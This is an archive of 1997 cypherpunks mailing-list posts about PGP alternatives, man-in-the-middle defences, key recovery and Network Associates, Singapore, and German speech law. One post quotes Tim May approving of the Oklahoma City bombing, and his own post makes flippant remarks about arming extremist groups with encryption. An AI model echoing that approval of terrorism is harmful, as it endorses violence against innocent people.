+0800 Subject: Forwarded mail... Message-ID: <199712052222.QAA25026@einstein.ssz.com> Forwarded message: > Date: Thu, 4 Dec 1997 20:59:08 +0100 (MET) > From: nobody at REPLAY.COM (Anonymous) > Subject: Re: words have value, for good or ill > The speech I am talking about is the kind of things which Tim May has > been writing. To keep things simple, let's consider the statement > "McVeigh did the right thing." It is not a contract. It is not a > threat. It is not copyrighted. Actualy it is copyrighted the moment he hits the keystrokes and they appear in the buffer. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From smith at securecomputing.com Fri Dec 5 14:28:09 1997 From: smith at securecomputing.com (Rick Smith) Date: Sat, 6 Dec 1997 06:28:09 +0800 Subject: Please Beta test my communications cryptography product. In-Reply-To: <199712050100.RAA04735@proxy4.ba.best.com> Message-ID: At 5:00 PM -0800 12/4/97, James A. Donald wrote: > -- >I have produced a program that, like PGP, provides digital >signatures and communications encryption. > http://www.jim.com/jamesd/Kong/Kong.htm >This is the first beta. Please beta test this product. Actually, it's more fun to beta test the product concept than it is the product itself, especially since I don't use Windoze these days. First of all, the product Kong is not solving the same problem PGP was designed to solve: PGP follows the classic approach to e-mail encryption, with certificates to address MIM and personal authentication issues. Kong only concerns itself with individuals' cyberspace identity. But there's something appealing to this simplifying notion, and I'm interested in anything that makes crypto easier for people to understand and use. I admit I can't figure out what crypto mechanism Kong is really using since there's obfuscating talk of passphrases and secrets. But I can see how I'd do it with conventional public key mechanisms. The 123 byte (or whatever) string included in the message would incorporate a digital signature over the message plus the public key used to produce the signature. Thus, each message contains an internal integrity check. Recipients also would be able to compare the public keys used to sign two or more messages allegedly from the same recipient and verify that they were signed by the same entity. (technical nit: I'd prefer to put the PK in a special message header field and only stick the digital signature data in the message body, like PGP). Since Kong does not use certificates, it is vulnerable to the Man in the Middle (MIM) attack and indeed to forgery. However, I also suspect that the behavior of a long lived cyberspace identity would make a MIM attack detectable and/or impractical in the long run. If John Doe consistently includes a public key in his web site, messages, and postings, then recipients have a relatively independent way to validate the key being used in a message allegedly from him. The public key is literally associated with the cyberspace identity and its "reputation capital." Since no third party is attesting to the identity, you could argue that it's exclusively established by the holder's cyberspace reputation. This is an interesting property. Key revocation remains a problem, as with any PK system. The key holder essentially starts over associating reputation capital with the new key. This could be weird (but the topic of an interesting tale) if the revoked key was actually disclosed to an adversary and actively used in forgeries. As mentioned above, I haven't used the produt itself. But the underlying concept may represent a practical subset of classic e-mail security. Rick. smith at securecomputing.com Secure Computing Corporation "Internet Cryptography" at http://www.visi.com/crypto/ and bookstores From berezina at qed.net Fri Dec 5 14:34:18 1997 From: berezina at qed.net (Paul Spirito) Date: Sat, 6 Dec 1997 06:34:18 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <348d673c.36720307@mail.qed.net> On Fri, 05 Dec 1997 15:27:45 -0500, Duncan Frissell wrote: > And there is a difference between "political >rights" and liberty. I care about the latter and not the former. Plenty of >tyrannical democracies. I judge governments by how much they leave me alone >not by their form. Don't lecture me. I said "political freedom" by which I mean the liberty to speak, assemble, &c. I thought that was clear from the contextual reference to "civil liberties". By the way, do you want the government to leave others alone as well? To murder you, for example? Libertarians want a government capable of, & focused on, protecting their interests -- just like everyone else*. The question is: what *is* in my interest: long-term, thought-through, really? >Certainly today's economic and technological freedom gives individuals vast >money and vast power. This increases their ability to tell their governments >to go fuck themselves. Whether they will choose to exercise this power, they >certainly have it. Many of those vastly empowered individuals *are* the government. Recall that I wrote in opposition to the rosy scenario whereby economic progress inevitably leads to political liberty. Here are a couple of other scenarios: 1) The progress collapses in the face of massive corruption. See Malaysia. I'd be curious to know if you think this is more or less likely in a fascist state. 2) The government uses it's newfound technological & industrial capacity, & taxbase, for nefarious purposes. See fascist Italy, Germany, Japan. Once again, more or less likely in a fascist state? I'm no opponent of economic or technological progress, that would be silly. It engenders greater practical, not just theoretic, freedom (e.g. the ability to speak globally), goodies are fun, & even basic liberty is much more difficult to preserve when people are hungry. We can certainly agree on that. I also oppose large portions of the U.S. government, its criminal & regulatory structure. I'd like to see it move in the *direction* of Libertopia. True, I wouldn't want to see it get there, but we can agree on most short-term & mid-term issues. But once again, articles like Declan's "hey, Singapore may be 'Disneyland with the death penalty' but the trains sure run on time" piss me off. The implied valuation miscalculates my interest, & Declan's also, in my opinion, to the point of "brain rot," as Seth used to say**. Is a tax cut worth the enormous increase in arbitrariness in an authoritarian state? Apparently, the Joos are responsible for the crisis in Malaysia. Or so the Grand High Mystical Wizard who heads the country has suddenly decided. Wanna live there? As Libertarians point out, there's a huge difference between economic pressure (e.g. to purchase Windows) & being shot in the head. Abstract it out a bit -- it applies to comparisons between governments as well. >No they criticize [corporate welfare] because they don't like to *pay* for it. >They believe in lower taxes and smaller governments. Non-sequiter. You confuse net with gross. Paul *An anarchist believes the most capable, focused government *is* herself. **Yes, I support Declan's right to make up his own mind on such matters, but: 1) I believe he may be wrong. 2) I'm not the apologist for authoritarianism. http://www.nihidyll.com/gallery/Tornado.jpg From aba at dcs.ex.ac.uk Fri Dec 5 15:13:56 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 6 Dec 1997 07:13:56 +0800 Subject: SynData/Schneier Attack Network Associates In-Reply-To: <199712052053.PAA14508@enslaved.student.umd.edu> Message-ID: <199712052301.XAA01334@server.test.net> [you are posting to cypherpunks at toad.com... see: http://www.dcs.ex.ac.uk/~aba/cp.html for where you should be posting -- hint: the address you are posting to is out of date] Wesley Griffin writes: > > By "companies like Network Associates", do you mean "companies who are > > members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are > > the "companies like Network Associates", in that regard: [Note RSA is a > > Charter Member] > > This statement is seriously confusing Key Recovery and Key Escrow. > They are NOT the same thing. Everybody knows what Key *Escrow* is > and that it sucks. You need to understand Newspeak to understand any crypto documents written by the government, or government toadies. To them the key recovery, key escrow are just different PR terms to try to con people into going along with goverment backdoors in crypto software. The key recovery alliance program (KRAP) is a government program to bribe companies into building government backdoors into their crypto programs. The KRAP program requires it's participants to agree to fast track installation of GAK (Government Access to Keys -- master government backdoor stuff) into their software. In exchange for doing this the companies get permission to export ridiculously weak 56 bit crypto instead of even more ridiculously weak 40 bit crypto. They have a 2 year time frame in which to install government master backdoors into their crypto software. And there are reviews of progress made every 6 months -- failure to meet deadlines results in loss of 56 bit export permission. > Key Recovery is *very* different in that are no databases kept of > private keys. The website you mentioned (http://www.kra.org) > contains some very good info on how Key Recovery works. I would > like to see the source of Schneier's quote also, because I can't > believe he could get the two confused. I fully expect Schneier spoke out against KRAP -- the companies involved are government sell outs. This is why people are upset that PGP Inc was just bought out by a KRAP company McAfee (which recently renamed itself to Network Associates). Adam -- Now officially an EAR violation... Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Wes, below's the full article and source. You can reach Bruce via http://www.counterpane.com. 4 December 1997, PRNewswire: Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. Speaks Out Against Key Recovery Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption software solutions, released a statement today condemning Network Associates Inc., the market leader for virus protection software products, for supporting the government's key recovery program. Network Associates Inc., formerly known as McAfee Associates Inc., recently purchased Pretty Good Privacy (PGP) for $36 million, an encryption software provider. PGP had historically been opposed to key recovery. "It is time to seriously consider the threat that Network Associates poses to the individual's constitutional right to privacy," said David Romanoff, CEO of SynData Technologies Inc. "While Network Associates claims to protect privacy in cyberspace, they have actually traded our right to privacy for a shot at increased revenues overseas by supporting the key recovery program. The slippery slope has begun right under our noses. It's time to challenge both the government and companies who support the government's key recovery program before it is too late." The United States Commerce Department does not allow US encryption software makers to export strong encryption without a key recovery program. Companies who do not believe in the government's key recovery program are forced to develop both export and domestic versions of their software, each with a different strength. "The government's key recovery program is a complete violation of the individual's right to privacy and, in fact, compromises of the system are already taking place. This shows that key escrow is an untenable policy," said Bruce Schneier, one of the world's leading authorities on encryption and author of the book "Applied Cryptography". "SynData is paving the way for other software developers by taking a stand in opposition to the government and companies like Network Associates." SynData Technologies does not believe in key recovery or other government involvement in the regulation of the encryption software industry. The company also believes that the current export curbs on encryption put the entire industry at a competitive disadvantage. Additionally, these policies undermine the security of the global marketplace and put the individual's right to privacy at risk. SynData Technologies Inc., based in Cedar Grove, New Jersey, unveiled their flagship encryption software product, SynCrypt, in September of this year. SynCrypt is available directly from SynData Technologies, 800-499-1469, and through downloads from the company's Website: www.syncrypt.com. ----- From declan at well.com Fri Dec 5 15:50:50 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 6 Dec 1997 07:50:50 +0800 Subject: Microsoft and DoJ attorneys battle in Federal court today Message-ID: ************ http://cgi.pathfinder.com/netly/afternoon/0,1012,1616,00.html Microsoft vs. DOJ Update Microsoft finally had its day (or at least two hours) in court this afternoon. Its team of lawyers tried to fend off accusations that Microsoft unfairly used its operating system's popularity to force-feed Internet Explorer to computer makers. Federal judge Thomas Penfield Jackson zeroed in on whether or not the browser is, in fact, part of Windows 95. "Are you not selling Windows 95 and Internet Explorer separately?" he asked. Not to computer manufacturers, carefully replied Microsoft's attorney, who said that the evidence proves the two products "obviously are" integrated. (For the judge to rule that Microsoft is violating a 1995 agreement, Justice Department lawyers first have to convince him that Internet Explorer and Windows 95 are two seperate products, which they tried to do today by waving around a shrinkwrapped copy of Internet Explorer 4.0.) The hearing in Washington, D.C., federal district court highlighted two wildly different views: Microsoft claims the Justice Department is picking a fight where none really should exist. But the government's antitrust lawyers said today they're fighting to stop the world's largest software company from "misusing its Windows power" to squash its competitors. Both sides are going to have to wait a while: Judge Jackson left the courtroom today without ruling on the case. --By Declan McCullagh/Washington From nobody at REPLAY.COM Fri Dec 5 15:52:31 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 6 Dec 1997 07:52:31 +0800 Subject: Singapore & Freedom Message-ID: <199712052343.AAA20937@basement.replay.com> >On Thu, 4 Dec 1997, J. Lasser wrote: >And Singapore survives quite well being a totalitarian >capitalist society. Sure, you can pick nits and claim that >Singapore's not entirely capitalist, but it's more capitalist >than this country and certainly less free, too. > http://cgi.pathfinder.com/netly/editorial/0,1012,266,00.html >In some ways, Singaporeans are more free than U.S. citizens. >Income taxes and sales taxes are lower. Prostitution is legal. >The government does not impose rules on whom private landlords >can and can't rent to. Unlike some cities in the states, >Singapore has no curfews. Being able to walk outside safely at >night in any area of the city, even the poor excuse for the >city's red light district, has its attractions. > -Declan I lived and worked in Singapore for 8 years. Singapore is not what I call a free society. Their system has many advantages, you are pretty much free to make money providing you are doing so in an area where the government has no interest. The Singapore government runs many enterprises and if you happen to be their competition they will tear you apart to get rid of the competition. The Singaporean government tends to cater to the multinational corporations, who were their earlier ticket to economic prosperity, and don't do a lot to encourage local grown business other than to provide a suitable environment for business, which is good enough on its own. Singapore is a great place to do business, yours costs are predictable, something you can not say about the surrounding countries where corruption makes costs unpredictable. Singapore labor is reasonably priced, well-educated, reasonably trained, and well-disciplined - or at least they don't talk back or complain unless you try something really stupid. Singapore management is expensive, well-educated, but not quite as versatile as westerners. Singapore is a social experiment, a group (read PAP) has gained control and decided to mold the society into something different than it was. This is probably a good thing as in the 50s Singapore was a cesspool, in many ways. The story goes that you could smell Singapore 200 miles out, in an airplane. Everything that Singapore is today is what it was not in the 50s. The educational system has been engineered to produce the maximum number of worker units. Being a small country with limited resources (with labor being the main exportable resource) they could not afford to have an educational system which allowed some potential worker units to drop-out. Compare this against the American system where you are free to succeed, or free to fail, the choice is basically given to the citizen. In Singapore this is not how it works, the blinders are installed early, you are not permitted to fail to become a good productive member of the society. In Singapore you are free, as long as you are a good productive member of the society. Try talking back and complaining about the system and see where that gets you? I think they call it Woodbridge. This social engineering may be a good thing. Look at the benefits obtained by Singapore. In the current economic meltdown in SE Asia Singapore is only threatened with lower growth. The people are happy and they love their country and government, to the average Singaporean the government can do no wrong. Most Western governments would love to be in the same position. There are costs associated with an engineered society of this type. Elder Statesman Lee, he went by Harry Lee before he learned Mandarin, is always ranting about all the good genetics being wasted as there is a large number of educated women who have not married and therefore are not able to reproduce. Harry has been ranting about this for more than 10 years. In a nutshell certain segments of the population have lost their ability to mate. The Singapore government has initiated a program to help educated Singaporeans find mates. Great system, economic prosperity, but what am I supposed to do with this thing... Don't forget the other good points, no guns or bullets, color copiers are (were?) restricted, all media controlled by the government (even Time magazine was banned), mandatory savings program (CPF), National Service, and the government attitude of those that are not with us are against us. Also, don't forget that the Singaporean government has brought the Big Brother concept to reality. SingMonger From declan at well.com Fri Dec 5 16:07:26 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 6 Dec 1997 08:07:26 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3.0.2.32.19971205152745.036de494@panix.com> Message-ID: At 22:18 +0000 12/5/97, Paul Spirito wrote: >But once again, articles like Declan's "hey, Singapore may be 'Disneyland >with the death penalty' but the trains sure run on time" piss me off. You should read the complete article (I provided the URL, after all) before complaining that I'm somehow not critical enough of Singapore. -Declan PS: I value economic freedom quite highly. Besides, it's part of other freedoms. Can I publish a political newspaper as easily if my business is heavily regulated by EEOC and other bureaucrats, and I'm taxed heavily by still others? What about the economic regulations (like those on banks) that are used to intrude on our civil liberties? Final point: democracy isn't all that wonderful by itself. Singapore is a democracy, no? Forget fetishizing "democracy," already, and give me freedom! From aba at dcs.ex.ac.uk Fri Dec 5 16:14:23 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 6 Dec 1997 08:14:23 +0800 Subject: WoT discussions, Trust for Nyms In-Reply-To: Message-ID: <199712060006.AAA01508@server.test.net> Rick Smith writes: > I admit I can't figure out what crypto mechanism Kong is really > using since there's obfuscating talk of passphrases and secrets. What James describes on the page is that he is storing the private EC key in a file. The file is optionally encrypted with a passphrase. He also describes how the key file can be stored on floppy. The term he uses for the private key file is "secrets file". This much is fairly standard. The novel feature is that he includes the PK with the signature. I consider this useful, in that if you ever receive a communication, or read a post you wish to reply to you have all the information required to reply without going to a keyserver. You are vulnerable to MITM, but including a reasonable subset of the WoT with a post is not an option due to size. Another interesting option with EC is to derive the key from the passphrase, then there is no private key file. > Since Kong does not use certificates, it is vulnerable to the Man in the > Middle (MIM) attack and indeed to forgery. Most uses of PGP are subject to the same attack, because people do not have enough web of trust connectivity. PGP certificates give you the tools to avoid MITM attacks when you knew someone before hand. A widely deployed WoT generally makes MITM harder even when you converse with people only electronically, because somebody knows them in person, and this may be reflected in the WoT. The fact that it is easy to fabricate a whole community of fictitious people who know each other is interesting also. One method you could use to restrict this somewhat is to add a cost function to creating identities. A certificate proving certain monies have been paid for the identity, or a hash collision over a certain size. > However, I also suspect that the behavior of a long lived cyberspace > identity would make a MIM attack detectable and/or impractical in > the long run. If John Doe consistently includes a public key in his > web site, messages, and postings, then recipients have a relatively > independent way to validate the key being used in a message > allegedly from him. This is similar to including fingerprints at the bottom of posts. In some senses John Doe's web site, messages and postings define who he is in cyberspace. > As mentioned above, I haven't used the produt itself. But the > underlying concept may represent a practical subset of classic > e-mail security. I strongly suspect it entails a high percentage of the use of PGP. Very few people have WoT connections. And there is the question of what a WoT link means. The only people I have direct WoT links to are people who I first met electronically. I wouldn't know them from Adam. How do I know the person I met is the real Ian Goldberg, or whoever. Also an inherent problem is that just because I met Ian Goldberg once does not mean that all the people he signs keys of are who he thinks they are. The problem of preventing MITM can be viewed as the task of making the MITM's job difficult, and making it difficult for the MITM to perform many MITMs at once. One way to go about this is to distribute your belief of other peoples keys. The potentially helps to strengthen the WoT because you may work your way around the MITM by a link he does not control. For example you could download the list of email addresses from a keyserver and spam them all with the set of fingerprints of all the public key ring that you use (or all of the keys on the keyserver). Not that they would thank you for it, spamwise, but if there are in existance any MITM's it could conceivably flush some out. Another lower bandwidth method of making the MITM's job harder is to sign and/or publish hashes of public key databases -- download the keys, or some useful easily definable subset of keys on keyservers, and publish the hash of them in as many media as possible (web, finger, news, mail, newspapers, etc.) For example if the operator of a public key database published a hash of all the keys in his database in a widely available newspaper, the MITM now has to make sure that John Doe doesn't see this newspaper, or that the newspaper John sees has been reprinted espescially for him. If John Doe is suspicious he will stop a random person in the street and ask to see the key hash section breifly. In general John Doe's strategy to avoid being the subject of a MITM attack should be to be unpredictable in the channels he uses for authentication and communication. Let's say John buys a book on cryptography, and the author included his fingerprint. Then John could use this person to authenticate a key with Alice. He could write to the author, including a nonce with the plaintext, and ask the author to check that the key he thought belonged to Alice really did belong to her. Interlock protocols are another method of complicating the MITM's task. If Joe develops the habit of posting the hash of messages he is about to post a day in advance, the MITM must think of something to say also, and publish the hash, so that it can publish something a day later. As the MITM's messages now don't match with what Joe said, the MITM has to lie some more to keep up the game. We would like to overload the MITM so that his task of lying becomes computationally infeasible. Adam From declan at well.com Fri Dec 5 16:29:01 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 6 Dec 1997 08:29:01 +0800 Subject: Get out of town Freeh! Message-ID: A cute cartoon from my friends down the hall: http://www.allpolitics.com/1997/12/05/mitchell/ From berezina at qed.net Fri Dec 5 17:04:00 1997 From: berezina at qed.net (Paul Spirito) Date: Sat, 6 Dec 1997 09:04:00 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3.0.2.32.19971205152745.036de494@panix.com> Message-ID: <34899afc.7121903@mail.qed.net> On Fri, 5 Dec 1997 18:50:16 -0500, Declan McCullagh wrote: >You should read the complete article (I provided the URL, after all) before >complaining that I'm somehow not critical enough of Singapore. I've read the complete article twice, & I still somehow don't think you're critical enough of Singapore. Oh well, maybe I'm turning into a pissy, rabid, anti-authoritarian ideologue in my late youth. It's possible -- besides, I hate Christmas. I'd kiss your P.S. under the mistletoe ["I value economic freedom quite highly. Besides, it's part of other freedoms....Forget fetishizing "democracy," already, and give me freedom!"], though we might tussle over the exact shape of the Tax Rate vs. Economic Freedom curve. But that's for another week, & perhaps another mailing list. Time to get drunk & stumble out into the cold... Season's greetings, Paul http://www.nihidyll.com/gallery/Tornado.jpg From ravage at ssz.com Fri Dec 5 17:07:18 1997 From: ravage at ssz.com (Jim Choate) Date: Sat, 6 Dec 1997 09:07:18 +0800 Subject: Forwarded mail... Message-ID: <199712060112.TAA25835@einstein.ssz.com> Forwarded message: >From INFO-RUSS-request at smarty.ece.jhu.edu Fri Dec 5 18:35:23 1997 From: INFO-RUSS-request at smarty.ece.jhu.edu Date: Fri, 5 Dec 97 14:33:28 -0500 Message-Id: <9712051933.AA02486 at smarty.ece.jhu.edu> To: info-russ at smarty.ece.jhu.edu >From INFO-RUSS-request at smarty.ece.jhu.edu Fri Dec 5 14:04:00 EST 1997 Errors-To: INFO-RUSS-request at smarty.ece.jhu.edu Sender: INFO-RUSS-request at smarty.ece.jhu.edu Precedence: bulk Date: Sat, Dec 5 97 14:15:59 EST From: info-russ at smarty.ece.jhu.edu To: info-russ at smarty.ece.jhu.edu Subject: INFO-RUSS: Chem-to schelkal, v chem byl spryatan infrakrasnyi ob'ektiv... --------------------------------------------------------------------- This is INFO-RUSS broadcast (1200+ subscribers). Home page, information, and archives: http://psi.ece.jhu.edu/~kaplan/IRUSS/inforuss.html To post, subscribe, or unsubscribe mail to info-russ at smarty.ece.jhu.edu ======================================================================== Folks, this is to follow up our previous story on arrested "spy" in Rostov, Russia. Looks like the old Sov-Russ-paranoia about spies is back. BTW, note a correction to the previous info: Mr. Bliss is not New Zealander, he is our fellow American who works for a New Zealand company. Alex Kaplan, info-russ owner/coordinator sasha at super.ece.jhu.edu http://psi.ece.jhu.edu/~kaplan ======================================================================== Reuters, Friday December 5 9:06 AM EST American Charged In Rare Russian Spy Case By Adam Tanner MOSCOW (Reuters) - A 29-year-old U.S. telephone technician was charged with espionage against Russia Friday in what officials say is the first such case involving an American since the end of the Cold War. A spokesman for the Russian Federal Security Service (FSB) said Richard Bliss, who was arrested in the southern city of Rostov-on-Don Nov. 25, had been formally charged with spying. The text of the criminal charges was to be read to Bliss in English translation as he does not speak Russian, Russian television reported. But the exact wording of the charges was not made public as it was a state security matter, the report said. Bliss had been in Rostov for two months working to install a wireless telephone system when he was detained. He worked for San Diego-based telecommunications company Qualcomm. The U.S. Embassy has said Bliss was not a spy and Qualcomm also denied he was involved in espionage, saying he was performing routine tests to help install a wireless telephone system. U.S. officials earlier said they were continuing to press for his release and expected Vice-President Al Gore to telephone Russian Prime Minister Viktor Chernomyrdin later in the day to appeal for his release. "At the highest levels of government exchanges of information are flowing back and forth quite rapidly," said Qualcomm's head of government relations, Bill Bold. The FSB earlier said Bliss had carried out long-distance topographical surveys with what it called illegally-imported satellite receivers and obtained secret information about unspecified "restricted" buildings in the Rostov area. Dan Pegg, a Qualcomm senior vice-president, said Bliss was using global positioning system (GPS) equipment to measure the strength of radio signals from a central communications transmitter. Asked if Bliss could have worked as a spy without Qualcomm's knowledge, Pegg said: "They say never say never, but I'd say absolutely not." A resident of San Diego, Bliss had been in Russia about two months when he was detained, Pegg said. A high-school graduate who never went to college, Bliss worked for several communications companies before Qualcomm hired him six months ago to help install telephone systems worldwide. REUTERS@ ---------------------------------------------------------------------------- From blancw at cnw.com Fri Dec 5 17:15:08 1997 From: blancw at cnw.com (Blanc) Date: Sat, 6 Dec 1997 09:15:08 +0800 Subject: Singapore & Freedom Message-ID: <3.0.32.19971205170800.006c3470@cnw.com> SingMonger wrote: >Don't forget the other good points, no guns or bullets, color >copiers are (were?) restricted, all media controlled by the >government (even Time magazine was banned), mandatory savings >program (CPF), National Service, and the government attitude of >those that are not with us are against us. Also, don't forget >that the Singaporean government has brought the Big Brother >concept to reality. .............................................................. Sounds like the kind of place suitable for people who don't have a Mind of Their Own, nor a personal vision of, or mission in, life (besides maintaining an active DNA pool). .. Blanc From pethern at inet.uni2.dk Fri Dec 5 17:25:15 1997 From: pethern at inet.uni2.dk (Peter Herngaard) Date: Sat, 6 Dec 1997 09:25:15 +0800 Subject: Singapore In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com> Message-ID: Reply to Duncan Frissell: Mr. Frissell asserts that Germany lacks rights such as freedom of speech and association. This is not true. The German Basic Law provides for everyone the right to freedom of speech, religion and association. However, Germany prohibits hate speech i.e. National Socialism and incitement to racial, religious and national hatred. The reason for this exception is the German history. While I do strongly disagree with the German goverment on free speech, to lie about the holocaust and to promote hatred, I understand why they have this law. It should be noted that the ban on National Socialism was first imposed by the allied nations, including The United States, after World War Two. The democratically elected parliament of the new republic chooses to continue this policy known as Radikalenerlass. From nobody at REPLAY.COM Fri Dec 5 17:33:31 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 6 Dec 1997 09:33:31 +0800 Subject: words have value, for good or ill Message-ID: <199712060125.CAA04113@basement.replay.com> Tim May writes: > To compound the debating style errors made by Anonymous and his > supporter(s), Anonymous also misrepresented my views about McVeigh and OKC. > In a series of posts a few months or so ago, I made my position clear: that > I could "understand" McVeigh's actions, in the same way one can understand > someone snapping under pressure. I also pooh-poohed the "human tragedy" > aspects of the OKC story in the same way any warrior must pooh-pooh > specific cases where innocents, alleged or real, die in battles. What Tim May actually wrote on May 9, 1997, was: > Every day that passes, I'm more convinced that McVeigh did the right thing. > Some innocents died, but, hey, war is hell. Broken eggs and all that. This is not a matter of "understanding" McVeigh's actions. This is a matter of agreeing with them, of becoming convinced that he did the right thing. It is a totally different position. Consider: anyone might legitimately say they could understand why the government opposes access to cryptography. It represents a threat to their monopoly power. But if someone said they were becoming convinced that restrictions on access to crypto were a good thing, we'd be attacking them in an instant. These are two completely different issues. One is a matter of understanding evil motivations, which we can all benefit by. The other is a matter of advocacy of evil. That must be opposed, and in fact this list has been a strong force for such opposition. When Tim May was explicitly offered an opportunity to repudiate his earlier statement, he refused. He wrote, in response to that offer: > I mean what I say and I say what I mean. Get used to it. Or leave, even better. So there it is in black and white. Tim May refuses to withdraw his earlier comments about becoming convinced that McVeigh did the right thing. He means what he says and he says what he means. Yet he attempts to characterize them in other messages as a matter of "understanding" McVeigh's actions. He is trying to have it both ways: powerful rhetoric followed by mealy-mouthed temporizing. Perhaps the answer is simply that May does not agree with his earlier comments, but is too much of a coward to admit that he was wrong. These mis-characterizations of his views are his attempt to amend and correct them without having to concede that he, the great Tim May, made a mistake. This would not reflect very well on him, but it may be consistent with his character. Has May ever admitted to a mistake on any non-trivial matter? Perhaps not. The problem this raises is that it is difficult to know where May stands on any issue. He makes contradictory statements, refuses to reconcile them, even refuses to admit that they are contradictory. Which is his true view? No doubt, whichever one turns out to be most convenient in the end. What a weak and childish individual this is, this man who is said to be the most respected of the cypherpunks. From tcmay at got.net Fri Dec 5 17:40:12 1997 From: tcmay at got.net (Tim May) Date: Sat, 6 Dec 1997 09:40:12 +0800 Subject: PGP, Network Associates, KRAP, and Dead Rebels In-Reply-To: <199712052053.PAA14508@enslaved.student.umd.edu> Message-ID: At 4:01 PM -0700 12/5/97, Adam Back wrote: >Wesley Griffin writes: >> > By "companies like Network Associates", do you mean "companies who are >> > members of the Key Recovery Alliance" (http://www.kra.org)? If so, >>here are >> > the "companies like Network Associates", in that regard: [Note RSA is a >> > Charter Member] >> >> This statement is seriously confusing Key Recovery and Key Escrow. >> They are NOT the same thing. Everybody knows what Key *Escrow* is >> and that it sucks. > >You need to understand Newspeak to understand any crypto documents >written by the government, or government toadies. > >To them the key recovery, key escrow are just different PR terms to >try to con people into going along with goverment backdoors in crypto >software. Yep. KRAP is just a variant of GAK. The talk about "court orders" shows the equivalence. There are subtle differences between various GAK schemes, ranging from the extreme of encrypting all communications and writings to a government key (an obvious non-starter) to the complicated LEAF stuff of Clipper to the more recent key escrow and KRAP schemes. Including that being pushed by PGP, Inc., er, "Network Associates." When the Key Recovery Alliance speaks of "legal court orders" for gaining access to KRAPped communications, one assumes this means the official government of Myanmar (Burma) will be using "legal court orders" to gain access to rebel communications. Next time Phil Z. speaks about the great usefullness of PGP in supporting freedom fighters in Myanmar, I hope he remembers to mention that Network Associates is committed to giving governments access to such communications. Provided the right legal orders are given, of course. It might be a nice gesture for Phil to fly to Rangoon to attend the funerals of the freedom fighters rounded up after their KRAP-compliant communications are decrypted by the Ministry of Social Harmony (with the right court orders, of course...wouldn't want KRAP to let unauthorized decryptions occur, would we?). The whole _point_ of encryption is to stop this kind of snooping. This is why we provided PGP to the freedom fighters working to expel the Zionists into the sea (though the Amerikan government calls these freedom fighters "terrorists," of course). And why White Aryan Resistance now uses PGP. (The point of crypto is that you can't pick who gets to use it and who doesn't.) With its 5.5 version, and especially with its absorbtion into Big Brotherish Network Associates, PGP has taken a major step toward irrelevance, and even perniciousness. This won't endear myself to Phil and my other colleagues at PGP, Inc. But I have to call it as I see it. Would they want me to pull my punches? The Phil Zimmermann I met several years ago surely would've spoken out against such things. In fact, he did. As recently as a year ago, in articles condemning ViaCrypt for its key recovery/escrow system. And, ironically, some of the things he blasted RSADSI for, such as charging for its crypto products, and not releasing a toolkit usable by all (RSAREF was for hobbyist uses only, much like the freeware versions of PGP), have close parallels with PGP, Inc.'s current views about charging for products, development toolkits, and so on. And, worse, PGP is "building in Big Brother," and when Network Associates finishes absorbing them.... Oh well. Earlier versions of PGP, and monkeywrenched versions of later versions of PGP, may be our best hope. (I can't say this will do a lot for sales of commericial versions, as we urge folks to widely deploy older, non-KRAP versions.) --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From lizard at dnai.com Fri Dec 5 17:52:08 1997 From: lizard at dnai.com (Lizard) Date: Sat, 6 Dec 1997 09:52:08 +0800 Subject: Hate speech in Germany... In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com> Message-ID: <3.0.3.32.19971205172926.03498058@dnai.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 02:09 AM 12/6/97 +0100, Peter Herngaard wrote: >Reply to Duncan Frissell: > >If the German people desired to abolish the Radikalenerlass they could >do so simply by changing their goverment precisely as U.S. citizens could >abolish use of capital punishment against minors. >Is there any difference? There is a difference, in that calling for the abolition of laws banning 'hate speech' can easily be labelled as 'hate speech' in themselves. Further, since it is never popular speech which needs government protection, the odds are good that the majority of those who would call for the abolition of such laws are those who wished to engage in such speech -- and thus, by calling attention to themselves, they could risk jail. The reason such laws do not exist in the US is NOT because 'the people' do not want them -- I daresay a popular vote would install them in a heartbeat -- but because the government is NOT a democracy, and the 'will of the people' runs up against the Bill of Rights, which serves to protect people from the government, and from each other. While I'm sure there are at least some ideaological free speech absolutists in Germany, I'm betting they're a smaller group than they are even in the US -- Germany has no real history of free speech, compared to the US, and Europe in general has a history of placing the collective good ahead of individual liberty. While a US 'leftist' will, for the most part, cede the right of even his enemies to speak (this is changing lately, but it used to be true, and there's still a few old lefties about), my exposure to German and other European leftists indicates that they approve strongly of laws banning 'racist' or 'hateful' speech -- while the American left has its roots in the anarchists of the 19th century, the European left has grown from the totalitarians of the 20th century. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBNIiqdjKf8mIpTvjWEQI24ACfX33Yo1UFlM5CyHW/lQqqzjbBUvgAoObC 